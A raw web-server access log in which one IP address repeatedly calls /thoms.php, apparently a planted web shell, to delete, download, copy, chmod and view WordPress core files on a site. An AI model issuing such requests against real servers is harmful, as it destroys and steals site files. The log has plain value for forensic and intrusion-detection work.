45.135.193.11 - - [11/Sep/2026:23:08:46 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:47 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 200 17349 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:47 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php HTTP/1.1" 200 15367 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:46 -0400] "GET /thoms.php?del=class-wp-filter-sentinel.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-filter-sentinel.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:47 -0400] "GET /thoms.php?dl=comment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:47 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php HTTP/1.1" 200 13446 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:47 -0400] "GET /thoms.php?del=class-walker-comment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
155.138.206.233 - - [11/Sep/2026:23:08:49 -0400] "GET / HTTP/1.1" 200 2527 "-" "vantage-agent/0.1"
155.138.206.233 - - [11/Sep/2026:23:08:49 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:23:08:48 -0400] "GET /thoms.php?dl=class-wp-roles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:49 -0400] "GET /thoms.php?del=feed-rss2.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:49 -0400] "GET /thoms.php?dl=view-transitions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=view-transitions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:49 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57916 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:49 -0400] "GET /thoms.php?dl=class-wp-block-parser-block.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-files.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-files.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:50 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:50 -0400] "GET /thoms.php?del=category-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:50 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:50 -0400] "GET /thoms.php?chmod=abilities-api.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=abilities-api.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:50 -0400] "GET /thoms.php?del=load.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=load.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:51 -0400] "GET /thoms.php?chmod=cache-compat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:51 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:51 -0400] "GET /thoms.php?del=class-wp-block.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57824 "http://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:51 -0400] "GET /thoms.php?chmod=locale.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:51 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:51 -0400] "GET /thoms.php?dl=ms-settings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:52 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fassets HTTP/1.1" 200 13127 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:52 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 200 14332 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:52 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:52 -0400] "GET /thoms.php?chmod=class-wp-matchesmapregex.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:52 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=functions.php HTTP/1.1" 200 105434 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:52 -0400] "GET /thoms.php?chmod=script-modules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:53 -0400] "GET /thoms.php?chmod=class-avif-info.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:53 -0400] "GET /thoms.php?dl=utf8.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=utf8.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:53 -0400] "GET /thoms.php?del=cache-compat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:53 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:53 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:53 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:54 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-files.php HTTP/1.1" 200 13205 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftemplate.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11821 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftemplate.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:54 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 200 13449 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fview-transitions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fview-transitions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:54 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fpomo HTTP/1.1" 200 13533 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:54 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=ai-client.php HTTP/1.1" 200 12837 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=ai-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:54 -0400] "GET /thoms.php?chmod=block-i18n.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:54 -0400] "GET /thoms.php?chmod=class-phpass.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:54 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:54 -0400] "GET /thoms.php?chmod=class-wp-user-request.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:55 -0400] "GET /thoms.php?dl=block-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57898 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:55 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:55 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57854 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:55 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57938 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:55 -0400] "GET /thoms.php?dl=post-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=post-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:55 -0400] "GET /thoms.php?del=interactivity-api&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:56 -0400] "GET /thoms.php?del=block-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57461 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:56 -0400] "GET /thoms.php?del=class-wp-recovery-mode-email-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:56 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:56 -0400] "GET /thoms.php?dl=rss.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:56 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fauthor-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fauthor-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:56 -0400] "GET /thoms.php?dl=widgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:57 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 200 15887 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:57 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:57 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11831 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:57 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
